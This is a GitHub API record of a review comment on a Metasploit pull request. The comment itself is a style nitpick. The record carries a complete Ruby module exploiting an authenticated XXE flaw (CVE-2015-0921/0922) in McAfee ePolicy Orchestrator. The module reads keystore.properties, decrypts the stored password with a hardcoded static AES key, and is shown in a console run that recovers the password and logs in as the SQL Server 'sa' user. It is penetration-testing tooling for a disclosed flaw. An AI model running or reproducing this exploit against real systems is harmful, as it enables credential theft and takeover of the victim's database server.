{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/23050329","id":23050329,"diff_hunk":"@@ -0,0 +1,260 @@\n+##\n+# This module requires Metasploit: http://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+require 'msf/core'\n+require 'openssl'\n+\n+class Metasploit3 < Msf::Auxiliary\n+\n+  include Msf::Exploit::Remote::HttpClient\n+\n+  def initialize(info = {})\n+    super(update_info(info,\n+      'Name'           => 'McAfee ePolicy Orchestrator Authenticated XXE Credentials Exposure',\n+      'Description'    => %q{\n+      This module will exploit an authenticated XXE vulnerability to read the keystore.properties\n+      off of the filesystem. This properties file contains an encrypted password that is set during\n+      installation. What is interesting about this password is that it is set as the same password\n+      as the database 'sa' user and of the admin user created during installation. This password\n+      is encrypted with a static key, and is encrypted using a weak cipher at that (ECB). By default,\n+      if installed with a local SQL Server instance, the SQL server is listening on all interfaces.\n+\n+      Recovering this password allows an attacker to potentially authenticate as the 'sa' SQL Server\n+      user in order to achieve remote command execution with permissions of the database process. If\n+      the administrator has no changed the password for the initially created account since installation,\n+      the attacker also now has the password for this account. By default, 'admin' is recommended.\n+\n+      Any user account can be used to exploit this, all that is needed is a pair of credentials.\n+\n+      The most data that can be successfully retrieved is 255 characters due to length restrictions\n+      on the field used to perform the XXE attack.\n+      },\n+      'License'        => MSF_LICENSE,\n+      'Author'         =>\n+        [\n+          'Brandon Perry <bperry.volatile[at]gmail.com>', #metasploit module\n+        ],\n+      'References'     =>\n+        [\n+          ['CVE', '2015-0921'],\n+          ['CVE', '2015-0922'],\n+          ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/8']\n+        ],\n+      'DisclosureDate' => 'Jan 6 2015'\n+    ))\n+\n+    register_options(\n+      [\n+        Opt::RPORT(8443),\n+        OptBool.new('SSL', [true, 'Use SSL', true]),\n+        OptString.new('TARGETURI', [ true, \"Base ePO directory path\", '/']),\n+        OptString.new('USERNAME', [true, \"The username to authenticate with\", \"username\"]),\n+        OptString.new('PASSWORD', [true, \"The password to authenticate with\", \"password\"])\n+      ], self.class)\n+\n+  end\n+\n+  def run\n+    key = \"\\x5E\\x9C\\x3E\\xDF\\xE6\\x25\\x84\\x36\\x66\\x21\\x93\\x80\\x31\\x5A\\x29\\x33\" #static key used\n+\n+    aes = OpenSSL::Cipher::Cipher.new('AES-128-ECB') # ecb, bad bad tsk\n+    aes.decrypt\n+    aes.padding=1\n+    aes.key = key\n+\n+    res = send_request_cgi({\n+      'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do')\n+    })\n+\n+    unless res\n+      fail_with(Failure::Unknown, \"Server did not respond in an expected way\")\n+    end\n+    \n+    cookie = res.get_cookies\n+\n+    res = send_request_cgi({\n+      'uri' => normalize_uri(target_uri.path, 'core', 'j_security_check'),\n+      'method' => 'POST',\n+      'vars_post' => {\n+        'j_username' => datastore['USERNAME'],\n+        'j_password' => datastore['PASSWORD']\n+      },\n+      'cookie' => cookie\n+    })\n+\n+    unless res\n+      fail_with(Failure::Unknown, \"Server did not respond in an expected way\")\n+    end\n+    \n+    cookie = res.get_cookies\n+\n+    res = send_request_cgi({\n+      'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do'),\n+      'cookie' => cookie\n+    })\n+    \n+    unless res\n+      fail_with(Failure::Unknown, \"Server did not respond in an expected way\")\n+    end\n+\n+    if res.code != 302\n+      fail_with(Failure::Unknown, 'Authentication failed')\n+    end\n+\n+    cookie = res.get_cookies\n+\n+    #This vuln requires a bit of setup before we can exploit it\n+\n+    print_status(\"Setting up environment for exploitation\")\n+\n+    res = send_request_cgi({\n+      'uri' => normalize_uri(target_uri.path, 'core', 'orionNavigationLogin.do'),\n+      'cookie' => cookie\n+    })\n+\n+    unless res\n+      fail_with(Failure::Unknown, \"Server did not respond in an expected way\")\n+    end\n+    \n+    auth_token = $1 if res.body =~ /id=\"orion.user.security.token\" value=\"(.*)\"\\/>/\n+\n+    res = send_request_cgi({\n+      'uri' => normalize_uri(target_uri.path, 'core', 'orionTab.do'),\n+      'vars_get' => {\n+        'sectionId' => 'orion.automation',\n+        'tabId' => 'orion.tasklog',\n+        'orion.user.security.token' => auth_token\n+      },\n+      'cookie' => cookie\n+    })\n+\n+    unless res\n+      fail_with(Failure::Unknown, \"Server did not respond in an expected way\")\n+    end\n+\n+    res = send_request_cgi({\n+      'uri' => normalize_uri(target_uri.path, 'core', 'loadTableData.do'),\n+      'vars_get' => {\n+        'datasourceAttr' => 'scheduler.tasklog.datasource.attr',\n+        'filter' => 'scheduler.tasklog.filter.day',\n+        'secondaryFilter' => '',\n+        'tableCellRendererAttr' => 'taskLogCellRenderer',\n+        'count' => 44,\n+        'sortProperty' => 'OrionTaskLogTask.StartDate',\n+        'sortOrder' => 1,\n+        'id' => 'taskLogTable'\n+      },\n+      'cookie' => cookie\n+    })\n+\n+    unless res\n+      fail_with(Failure::Unknown, \"Server did not respond in an expected way\")\n+    end\n+\n+    res = send_request_cgi({\n+      'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'),\n+      'vars_get' => {\n+        'datasourceAttr' => 'scheduler.tasklog.datasource.attr',\n+        'tableId' => 'taskLogTable',\n+        'orion.user.security.token' => auth_token\n+      },\n+      'cookie' => cookie\n+    })\n+\n+    unless res\n+      fail_with(Failure::Unknown, \"Server did not respond in an expected way\")\n+    end\n+\n+    res = send_request_cgi({\n+      'uri' => normalize_uri(target_uri.path, 'core', 'orionTableUpdateState.do'),\n+      'method' => 'POST',\n+      'vars_post' => {\n+        'dataSourceAttr' => 'scheduler.tasklog.datasource.attr',\n+        'tableId' => 'taskLogTable',\n+        'columnWidths' => '285,285,285,285,285,285,285,285',\n+        'sortColumn' => 'OrionTaskLogTask.StartDate',\n+        'sortOrder' => '1',\n+        'showFilters' => 'true',\n+        'currentIndex' => 0,\n+        'orion.user.security.token' => auth_token,\n+        'ajaxMode' => 'standard'\n+      },\n+      'cookie' => cookie\n+    })\n+\n+    unless res\n+      fail_with(Failure::Unknown, \"Server did not respond in an expected way\")\n+    end\n+\n+    res = send_request_cgi({\n+      'uri' => normalize_uri(target_uri.path, 'core', 'loadDisplayType.do'),\n+      'method' => 'POST',\n+      'vars_post' => {\n+        'displayType' => 'text_lookup',\n+        'operator' => 'eq',\n+        'propKey' => 'OrionTaskLogTask.Name',\n+        'instanceId' => 0,\n+        'orion.user.security.token' => auth_token,\n+        'ajaxMode' => 'standard'\n+      },\n+      'cookie' => cookie\n+    })\n+\n+    print_status(\"Sending payload...\")\n+\n+    filepath = \"C:/Program Files (x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/keystore.properties\"\n+    xxe = '<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM \"file:///'+filepath+'\" >]><conditions><condition grouping=\"or\"><prop-key>OrionTaskLogTaskMessage.Message</prop-key><op-key>eq</op-key><value>&xxe;</value></condition></conditions>'\n+\n+    res = send_request_cgi({\n+      'uri' => normalize_uri(target_uri.path, 'core', 'orionUpdateTableFilter.do'),\n+      'method' => 'POST',\n+      'vars_post' => {\n+        'orion.user.security.token' => auth_token,\n+        'datasourceAttr' => 'scheduler.tasklog.datasource.attr',\n+        'tableId' => 'taskLogTable',\n+        'conditionXML' => xxe,\n+        'secondaryFilter' => '',\n+        'op' => 'eq',\n+        'ajaxMode' => 'standard'\n+      },\n+      'cookie' => cookie\n+    })\n+\n+    unless res\n+      fail_with(Failure::Unknown, \"Server did not respond in an expected way\")\n+    end\n+\n+    if res.code == 404\n+      fail_with(Failure::Unknown, \"Server likely has mitigation in place\")\n+    end\n+    \n+    print_status(\"Getting encrypted passphrase value from keystore.properties file...\")\n+\n+    res = send_request_cgi({\n+      'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'),\n+      'vars_get' => {\n+        'datasourceAttr' => 'scheduler.tasklog.datasource.attr',\n+        'tableId' => 'taskLogTable',\n+        'orion.user.security.token' => auth_token\n+      },\n+      'cookie' => cookie\n+    })\n+\n+    unless res\n+      fail_with(Failure::Unknown, \"Server did not respond in an expected way\")\n+    end\n+\n+    passphrase = $1 if res.body =~ /passphrase=(.*?)\\\\u003/\n+\n+    passphrase = passphrase.gsub('\\\\\\\\=', '=').gsub(\"\\\\u002f\", \"/\").gsub(\"\\\\u002b\", \"+\")\n+\n+    print_status(\"Base64 encoded encrypted passphrase: #{passphrase}\")\n+\n+    passphrase = aes.update(Rex::Text.decode_base64(passphrase)) + aes.final\n+\n+    print_good(\"The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: #{passphrase}\")\n+  end","path":"modules/auxiliary/gather/mcafee_epo_xxe.rb","position":258,"original_position":258,"commit_id":"4e4ca15422c30dc6b27c6dcf19b82d6eb3599277","original_commit_id":"4e4ca15422c30dc6b27c6dcf19b82d6eb3599277","user":{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars.githubusercontent.com/u/4551878?v=3","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false},"body":"Newline after this, please? Stupid style nitpicks. :)","created_at":"2015-01-15T22:42:04Z","updated_at":"2015-01-15T22:42:04Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/4586#discussion_r23050329","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4586","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/23050329"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/4586#discussion_r23050329"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4586"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4586","id":27365045,"html_url":"https://github.com/rapid7/metasploit-framework/pull/4586","diff_url":"https://github.com/rapid7/metasploit-framework/pull/4586.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/4586.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4586","number":4586,"state":"open","locked":false,"title":"Create mcafee_epo_xxe.rb","user":{"login":"brandonprry","id":483180,"avatar_url":"https://avatars.githubusercontent.com/u/483180?v=3","gravatar_id":"","url":"https://api.github.com/users/brandonprry","html_url":"https://github.com/brandonprry","followers_url":"https://api.github.com/users/brandonprry/followers","following_url":"https://api.github.com/users/brandonprry/following{/other_user}","gists_url":"https://api.github.com/users/brandonprry/gists{/gist_id}","starred_url":"https://api.github.com/users/brandonprry/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/brandonprry/subscriptions","organizations_url":"https://api.github.com/users/brandonprry/orgs","repos_url":"https://api.github.com/users/brandonprry/repos","events_url":"https://api.github.com/users/brandonprry/events{/privacy}","received_events_url":"https://api.github.com/users/brandonprry/received_events","type":"User","site_admin":false},"body":"Hello,\r\n\r\nThis pull request adds support for exploiting CVE-2015-0921 and CVE-2015-0922 within McAfee ePolicy Orchestrator versions 4.x and 5.x up to 4.6.9 and 5.1.2 (yet to be released). Module requires authentication, but any user credentials will do.\r\n\r\nDetails released on FD on Jan 6: http://seclists.org/fulldisclosure/2015/Jan/8\r\n\r\nTrial is still vulnerable: http://www.mcafee.com/us/products/epolicy-orchestrator.aspx\r\n\r\nUsage:\r\n```\r\n[*] Starting the Metasploit Framework console...\\\r\nCall trans opt: received. 2-19-98 13:24:18 REC:Loc\r\n\r\n     Trace program: running\r\n\r\n           wake up, Neo...\r\n        the matrix has you\r\n      follow the white rabbit.\r\n\r\n          knock, knock, Neo.\r\n\r\n                        (`.         ,-,\r\n                        ` `.    ,;' /\r\n                         `.  ,'/ .'\r\n                          `. X /.'\r\n                .-;--''--.._` ` (\r\n              .'            /   `\r\n             ,           ` '   Q '\r\n             ,         ,   `._    \\\r\n          ,.|         '     `-.;_'\r\n          :  . `  ;    `  ` --,.._;\r\n           ' `    ,   )   .'\r\n              `._ ,  '   /_\r\n                 ; ,''-,;' ``-\r\n                  ``-..__``--`\r\n\r\n                             http://metasploit.pro\r\n\r\n\r\n       =[ metasploit v4.11.0-dev [core:4.11.0.pre.dev api:1.0.0]]\r\n+ -- --=[ 1381 exploits - 775 auxiliary - 223 post        ]\r\n+ -- --=[ 349 payloads - 37 encoders - 8 nops             ]\r\n+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]\r\n\r\nmsf > use exploit/zdi/mcafee_epo_xxe \r\nmsf auxiliary(mcafee_epo_xxe) > set RHOST 192.168.1.14\r\nRHOST => 192.168.1.14\r\nmsf auxiliary(mcafee_epo_xxe) > set PASSWORD notPassw0rd!\r\nPASSWORD => notPassw0rd!\r\nmsf auxiliary(mcafee_epo_xxe) > show options\r\n\r\nModule options (auxiliary/zdi/mcafee_epo_xxe):\r\n\r\n   Name       Current Setting                                                                           Required  Description\r\n   ----       ---------------                                                                           --------  -----------\r\n   FILEPATH   C:/Program Files (x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/keystore.properties  yes       The filepath to read on the server\r\n   PASSWORD   notPassw0rd!                                                                              yes       The password to authenticate with\r\n   Proxies                                                                                              no        Use a proxy chain\r\n   RHOST      192.168.1.14                                                                              yes       The target address\r\n   RPORT      8443                                                                                      yes       The target port\r\n   SSL        true                                                                                      yes       Use SSL\r\n   TARGETURI  /                                                                                         yes       Base ePO directory path\r\n   USERNAME   username                                                                                  yes       The username to authenticate with\r\n   VHOST                                                                                                no        HTTP server virtual host\r\n\r\nmsf auxiliary(mcafee_epo_xxe) > run\r\n\r\n[*] Setting up some things...\r\n[*] Sending payload...\r\n[*] Getting encrypted passphrase value from keystore.properties file...\r\n[*] Base64 encoded encrypted passphrase: T/r66DMjAYhgwFNGg7vdjiism5aqRjhUy8jvZYA5Ln8=\r\n[+] The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: NotAPassw0rd!123\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(mcafee_epo_xxe) > use auxiliary/scanner/ms\r\nuse auxiliary/scanner/msf/msf_rpc_login       use auxiliary/scanner/mssql/mssql_hashdump    use auxiliary/scanner/mssql/mssql_ping\r\nuse auxiliary/scanner/msf/msf_web_login       use auxiliary/scanner/mssql/mssql_login       use auxiliary/scanner/mssql/mssql_schemadump\r\nmsf auxiliary(mcafee_epo_xxe) > use auxiliary/scanner/mssql/mssql_login \r\nmsf auxiliary(mssql_login) > set RHOSTS 192.168.1.14\r\nRHOSTS => 192.168.1.14\r\nmsf auxiliary(mssql_login) > set PASSWORD NotAPassw0rd!123\r\nPASSWORD => NotAPassw0rd!123\r\nmsf auxiliary(mssql_login) > run\r\n\r\n[*] 192.168.1.14:1433 - MSSQL - Starting authentication scanner.\r\n[+] 192.168.1.14:1433 - LOGIN SUCCESSFUL: WORKSTATION\\sa:NotAPassw0rd!123\r\n[*] Scanned 1 of 1 hosts (100% complete)\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(mssql_login) >\r\n```","created_at":"2015-01-14T17:00:11Z","updated_at":"2015-01-15T22:42:04Z","closed_at":null,"merged_at":null,"merge_commit_sha":"db43a548c79cbc54d369bd9f1d8f9a0e84e96abf","assignee":{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars.githubusercontent.com/u/4551878?v=3","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false},"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4586/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4586/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/{number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4586/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/4e4ca15422c30dc6b27c6dcf19b82d6eb3599277","head":{"label":"brandonprry:mcafee_epo_x","ref":"mcafee_epo_x","sha":"4e4ca15422c30dc6b27c6dcf19b82d6eb3599277","user":{"login":"brandonprry","id":483180,"avatar_url":"https://avatars.githubusercontent.com/u/483180?v=3","gravatar_id":"","url":"https://api.github.com/users/brandonprry","html_url":"https://github.com/brandonprry","followers_url":"https://api.github.com/users/brandonprry/followers","following_url":"https://api.github.com/users/brandonprry/following{/other_user}","gists_url":"https://api.github.com/users/brandonprry/gists{/gist_id}","starred_url":"https://api.github.com/users/brandonprry/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/brandonprry/subscriptions","organizations_url":"https://api.github.com/users/brandonprry/orgs","repos_url":"https://api.github.com/users/brandonprry/repos","events_url":"https://api.github.com/users/brandonprry/events{/privacy}","received_events_url":"https://api.github.com/users/brandonprry/received_events","type":"User","site_admin":false},"repo":{"id":17378957,"name":"metasploit-framework","full_name":"brandonprry/metasploit-framework","owner":{"login":"brandonprry","id":483180,"avatar_url":"https://avatars.githubusercontent.com/u/483180?v=3","gravatar_id":"","url":"https://api.github.com/users/brandonprry","html_url":"https://github.com/brandonprry","followers_url":"https://api.github.com/users/brandonprry/followers","following_url":"https://api.github.com/users/brandonprry/following{/other_user}","gists_url":"https://api.github.com/users/brandonprry/gists{/gist_id}","starred_url":"https://api.github.com/users/brandonprry/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/brandonprry/subscriptions","organizations_url":"https://api.github.com/users/brandonprry/orgs","repos_url":"https://api.github.com/users/brandonprry/repos","events_url":"https://api.github.com/users/brandonprry/events{/privacy}","received_events_url":"https://api.github.com/users/brandonprry/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/brandonprry/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/brandonprry/metasploit-framework","forks_url":"https://api.github.com/repos/brandonprry/metasploit-framework/forks","keys_url":"https://api.github.com/repos/brandonprry/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/brandonprry/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/brandonprry/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/brandonprry/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/brandonprry/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/brandonprry/metasploit-framework/events","assignees_url":"https://api.github.com/repos/brandonprry/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/brandonprry/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/brandonprry/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/brandonprry/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/brandonprry/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/brandonprry/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/brandonprry/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/brandonprry/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/brandonprry/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/brandonprry/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/brandonprry/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/brandonprry/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/brandonprry/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/brandonprry/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/brandonprry/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/brandonprry/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/brandonprry/metasploit-framework/issues/comments/{number}","contents_url":"https://api.github.com/repos/brandonprry/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/brandonprry/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/brandonprry/metasploit-framework/merges","archive_url":"https://api.github.com/repos/brandonprry/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/brandonprry/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/brandonprry/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/brandonprry/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/brandonprry/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/brandonprry/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/brandonprry/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/brandonprry/metasploit-framework/releases{/id}","created_at":"2014-03-03T20:27:39Z","updated_at":"2015-01-14T16:55:12Z","pushed_at":"2015-01-15T17:02:11Z","git_url":"git://github.com/brandonprry/metasploit-framework.git","ssh_url":"git@github.com:brandonprry/metasploit-framework.git","clone_url":"https://github.com/brandonprry/metasploit-framework.git","svn_url":"https://github.com/brandonprry/metasploit-framework","homepage":"http://www.metasploit.com/","size":249463,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"ac4eb3bb90f259f934236a9efc4e6d6f9a0842fe","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/{number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2015-01-15T20:34:11Z","pushed_at":"2015-01-15T21:19:59Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1076125,"stargazers_count":3183,"watchers_count":3183,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":2692,"mirror_url":null,"open_issues_count":207,"forks":2692,"open_issues":207,"watchers":3183,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4586"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/4586"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4586"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4586/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4586/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/{number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4586/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/4e4ca15422c30dc6b27c6dcf19b82d6eb3599277"}}}}